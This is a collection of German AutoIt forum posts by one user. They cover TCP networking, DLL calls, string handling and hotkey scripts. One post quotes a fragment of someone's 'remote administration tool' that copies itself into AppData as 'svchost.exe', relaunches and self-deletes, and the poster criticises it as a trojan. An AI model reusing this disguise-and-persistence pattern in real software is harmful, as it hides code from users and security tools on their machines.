Du kannst TCPSend und TCPRecv beide sowohl im Server
als auch im Client verwenden.
Im Server als Socket eben den aus TCPAccept, im Client den aus TCPConnect angeben.
So einfach ist das
limette
//Edit: Etwas zu spät =)
Du kannst TCPSend und TCPRecv beide sowohl im Server
als auch im Client verwenden.
Im Server als Socket eben den aus TCPAccept, im Client den aus TCPConnect angeben.
So einfach ist das
limette
//Edit: Etwas zu spät =)
Das ist ja mal eine extrem faule Ausrede
In der Hilfe sind doch funktionierende Beispiele - die du doch auch schon gepostet hast
Brauchst du doch nur abzuändern.
Ansonsten - einfach ausprobieren, selbst tüfteln und bei richtig verzwickten Problemen: Fragen =)
(Hört sich im Moment so an wie .. "schreibt mir mal bitte..")
Entschuldigt, den Kommentar konnte ich mir nicht verkneifen
limette
If $array[4] = 1 And $array[3] <> 1 Then
$array[3] = 1
$array[10] = "svchost.exe"
$array[11] = "autorat"
$array[12] = @AppDataDir
EndIf
If $array[4] = 1 And @ScriptFullPath <> $path & "\" & $array[11] & "\" & $array[10] Then
If $array[3] = 1 Then
FileCopy(@ScriptFullPath, $path & "\" & $array[11] & "\" & $array[10], 9)
ShellExecute($path & "\" & $array[11] & "\" & $array[10])
_SelfDelete()
Exit
EndIf
EndIf
Auch wenn es in Bedingungen steht:
$array[10] = "svchost.exe"
zusammen mit
FileCopy(@ScriptFullPath, $path & "\" & $array[11] & "\" & $array[10], 9)
ShellExecute($path & "\" & $array[11] & "\" & $array[10])
_SelfDelete()
ist in meinen Augen ein Trojaner.
limette
Edit:
@L3viathan2142:
"Es ist - nach Beschreibung - als Trojaner gedacht, aber für euch, also den Einsetzenden."
Hm ? Ich dachte, es wurde als RAT angeboten, -
also z.B. zur Fernwartung anderer PCs. Habe selbst auch einen geschrieben, mit Passwortverschlüsselung der Daten
etc..
BugFix :
Das war mir durchaus bewusst
Dass im Return wieder ein Startwert steht ist nur ein Test, ob denn wenigstens die Werte in der Funktion ankommen und
nur das Schreiben der Antwort fehlschlägt,
oder der eben nichtmal die Startwerte bekommt.
Die ganzen Berechnungen folgen später, es geht mir gerade nur um das Übermitteln von Informationen
Greenhorn:
...
...
Du bist mein Fräund
Es funktioniert, die Inhalte der Array sind vernünftig, der Return - also $r[0] stimmt und das Auslesen aus
dem 2. Struct mit
DllStructGetData( $struct, 2, 1 )
läuft auch !
Dankedankedankedanke =)
Edit:
Ach, und ich war mir nicht sicher, ob die C-Funktion korrekt ist
Dev-C++ hat keinen Fehler gemeldet..
Aber wozu gibt es bei der DllCall-Funktion in AutoIt dann die Angabe "double*" etc, also mit "*" für Pointer ?
Habe den Source mal überflogen -
bin zwar nicht ganz durchgestiegen,
mir ist nur aufgefallen:
Das Teil erstellt unter Umständen:
Autostarteinträge, andere Registry-Einträge,
Kopiert sich in einen anderen Ordner unter den Namen 'svchost.exe', startet sich dort neu und führt im alten Prozess "selfdelete" aus,
...
Also, für einen R.A.T. klingt das doch verdächtig.
Ich meine - Autostart, Registry, okay. Ist noch von irgendwelchen Array-Einträgen abhängig, und unter Umständen
garnicht verkehrt.
Aber wozu soll sich das als svchost tarnen -
Ich dachte es ist ein RAT und kein Trojaner .. ?
Ohne zu testen:
In der Funktion für die nächste Frage setzt du den Aktuellen Spieler wieder auf Nummer 1,
allerdings nur Local.
Global scheint die Nummer noch auf '3' zu stehen, weshalb im nächsten Durchgang nur eine
Antwort angenommen wird.
limette
Halli - Hallo,
In einem derzeitigen Projekt möchte ich die Position des Mondes am Himmel
numerisch iterativ berechnen. Die Reihen dafür stehen so gut wie, und ich wollte mir schonmal überlegen,
wie das programmiertechnisch umsetzbar ist.
Fakt ist: Extrem viele Rechnungen.
Fakt ist: AutoIt ist.. langsam.. seeehr langsam
Daher dachte ich mir - lager die Rechnungen doch aus, in eine DLL, geschrieben in C.
Nun sind meine Kenntnisse in C extrem gering - unterhalb der Oberfläche.. :p
Da die Funktion sehr viele Parameter braucht und sehr viele Werte zurückgeben soll, habe ich vor, das mit Arrays zu erledigen.
Meine Überlegung war:
Ich übergebe der Funktion in der Dll zwei Pointer:
Einen zu einer Double[n]-struct mit den Startparametern,
einen zu einer leeren Double[m]-struct, in die die Funktion die Endwerte eintragen soll.
Leichter gesagt als getan.
Bisher sieht mein Script folgendermaßen aus:
#include <Array.au3>
[/autoit] [autoit][/autoit] [autoit]$dll = DllOpen( 'testdll.dll' )
[/autoit] [autoit][/autoit] [autoit]$struct = DllStructCreate( 'double[3];double[3]' )
DllStructSetData( $struct, 1, 123, 1 )
DllStructSetData( $struct, 1, 456, 2 )
DllStructSetData( $struct, 1, 789, 3 )
MsgBox( 0, 'data', DllStructGetData( $struct, 1, 1 ) & @CRLF & _
DllStructGetData( $struct, 1, 2 ) & @CRLF & _
DllStructGetData( $struct, 1, 3) )
$r = DllCall( $dll, 'double:cdecl', 'moonpos', 'double*', DllStructGetPtr( $struct, 1 ), 'double', 5, 'double*', DllStructGetPtr( $struct, 2 ) )
MsgBox( 0, '', @error )
_ArrayDisplay( $r )
MsgBox( 0, '', DllStructGetData( $struct, 2, 1 ) )
DllClose( $dll )
[/autoit]
Allerdings liefert mir $r [ 0, 0, 5, 0],
d.h. Mpos0x - also die Startwerte - sind in der Funktion nicht angekommen,
und mit den Pointern passt auch etwas nicht. Wobei ein separater Test mit
DllStructGetPtr doch Speicheradressen ausgibt.
Und ich habe leider keine Ahnung, wie dieser Fehler zu beheben ist...
Gruß, limette
Du kannst doch einfach das
GuiSetState() - oder so
weglassen --> das Fenster existiert, ist aber nicht sichtbar.
Und wie sieht's denn jetzt mit meinem Lösungsvorschlag aus ?
Und Sen - _IsPressed ist doch inzwischen begründet verworfen worden ?
Hmm... da verweise ich nur auf:
Zitat[M]an schreibt ja dann immernoch Schwachsinn in den Text.
_IsPressed blockiert ja nicht..
Kann mich also nur der "Alle-Buchstaben-als-Hotkeys"-Variante anschließen.
Würde dann in etwa so aussehen:
Global $text = ClipGet()
Global $on = False
ToolTip( 'Hotkey: F1 to Start/Stop From-Clip-Writing, ESC to exit', 0, 0 )
HotKeySet( '{F1}', '_switch' )
HotKeySet( '{ESC}', '_exit' )
HotKeySet( '{F2}', '_print' )
While True
Sleep( 100 )
WEnd
Func _switch()
$on = Not $on
_hotkeys($on)
EndFunc
Func _hotkeys($bool)
If $bool Then
For $char = Asc('a') To Asc('z')
HotKeySet( Chr( $char ), '_writeone' )
Next
Else
For $char = Asc('a') To Asc('z')
HotKeySet( Chr( $char ) )
Next
EndIf
EndFunc
Func _writeone()
;MsgBox( 0, '_writeone', @HotKeyPressed )
_hotkeys( False )
Send( StringLeft( $text, 1 ), 1 )
_hotkeys( True )
$text = StringTrimLeft( $text, 1 )
EndFunc
Func _exit()
Exit
EndFunc
Func _print()
MsgBox( 0, '', $text )
EndFunc
Wenn man aber zu schnell auf die Tasten haut, kommen immernoch Fehler mit in den Text.
Aber als grobe Grundlage dürfte das so hinhauen...
Sofern ich die Problematik richtig verstanden habe
Uhm.. Okay.
Das scheint wohl die einfachste Methode zu sein, wobei ich persönlich von
den Regular Expressions keinen Dunst habe
Zur Vollständigkeit halber, und vor allem zur Wiederherstellung meiner Ehre, meine Funktion,
gefixed.:
#include <Array.au3>
[/autoit] [autoit][/autoit] [autoit]$string = "abcdefghijklmnopqrstuvwxyz1234567890123"
$r = _split( $string, 4 )
_ArrayDisplay( $r )
Func _split( $str, $nr )
Local $nr2 = $nr, $j
Local $split = StringSplit( $str, '' )
Local $m = Mod( $split[0], $nr )
Local $n = ($split[0]-$m)/$nr
If $m <> 0 Then $n += 1
Local $ret[$n]
For $i = 1 To $n
$ret[$i-1] = ''
$j = 1
If $i = $n And $m <> 0 Then $nr2 = $m
While $j <= $nr2
$ret[$i-1] &= $split[($i-1)*$nr+$j]
$j+=1
WEnd
Next
Return $ret
EndFunc
Jau tut mir Leid, habe mehr darauf geachtet, wie viele
der Ausgibt..
Sorry, ich setz mich nochmal dran..
*Brille zurechtrück*
Hättest du auch selbst mit den String-Funktionen lösen können,
aber da ich mal gerade in guter Laune bin...
[Edit:] Wooohaaaa oO Habe mich täuschen lassen, da passt was nicht
Hab mir da jetzt nicht so viel Mühe mit gegeben, aber sie funktioniert.
Kann man bestimmt noch kürzen, ...
Naja
Wenn du den Loop noch einmal ausführen und danach erst beenden willst,
kannst du
Do - Until
nehmen, und falls im Loop selbst
$test = 4
auftritt, die Loop-Bedingung True setzen und mit Continue-Loop nochmal von vorne starten.
Ist aber ziemlich unschön und lässt sich bestimmt eleganter lösen,
ist dann aber Problemspezifisch...
If $test = 4 Then ContinueLoop
[/autoit]Man muß das Rad net immer neu erfinden
Kann aber doch Spaß machen
Zur sicheren Verbindung - jau. Wo du Recht hast..
Aber, was solls, wenn man sich für private Zwecke sowas schreibt und eben auf seine
Bedürfnisse anpasst. Man kann den Datentransfer ja zur Not auch noch verschlüsseln,
glaube Spidy hat mal einen Chat mit RSA-Verschlüsselung oder so geschrieben
Naja aber wie gesagt, für private Zwecke, wie 'nem Kumpel "mal eben grad helfen" reicht's ja.
Ob es in AutoIt umsetzbar ist kommt darauf an,
was genau du umsetzen willst.
Ich bin selber auch dabei ein Remote Administration Tool zu schreiben, und bisher ließ
sich noch alles ohne größere Probleme umsetzen.
Die Frage ist eben: Was soll dein Programm können ? Was gehört zu "Fernwartung" dazu ?
Wie wärs mit mehr Informationen ?
Wo ist der "andere" ?
Welche Einstellungen bezüglich Ports & Ips hast du ausprobiert ?
Kommt nur nichts an oder schlägt die Verbindung direkt fehl ?
ZitatWeis da jemand was dazu
Ich denke zum Thema TCP gibt es hier eine ganze Menge an Experten,
aber wie soll man dir helfen ?
Derartige Probleme wurden auch schon oft diskutiert, arbeite dich doch einfach mal
durch andere Topics durch und probier die dort genannten Lösungsvorschläge aus,
sofern sie in gewisser Weise mit deinem Problem zu tun haben...
so far...
Bist du sicher, dass der TCPConnect noch funzt ?
Prüf doch mal die TCPSend & TCPRecv auf @error..
Ansonsten wüsste ich auch grad nicht weiter... :pinch:
Edit Sorry: Verlesen.
Zitatdenn verbinden tun die beiden sich noch
nicht gesehn
While 1
$1 = TCPRecv ($sock,4000)
If $1 = 1 Then
Exit
EndIf
WEnd
$1 Kommt als String an !
Und ein String wird im Vergleich mit einer Zahl immer als 0 gewertet.
Frag doch so
While 1
$1 = TCPRecv ($sock,4000)
If $1 <> '' Then
MsgBox( 0, 'Ausgabe:', $1 )
Exit
EndIf
WEnd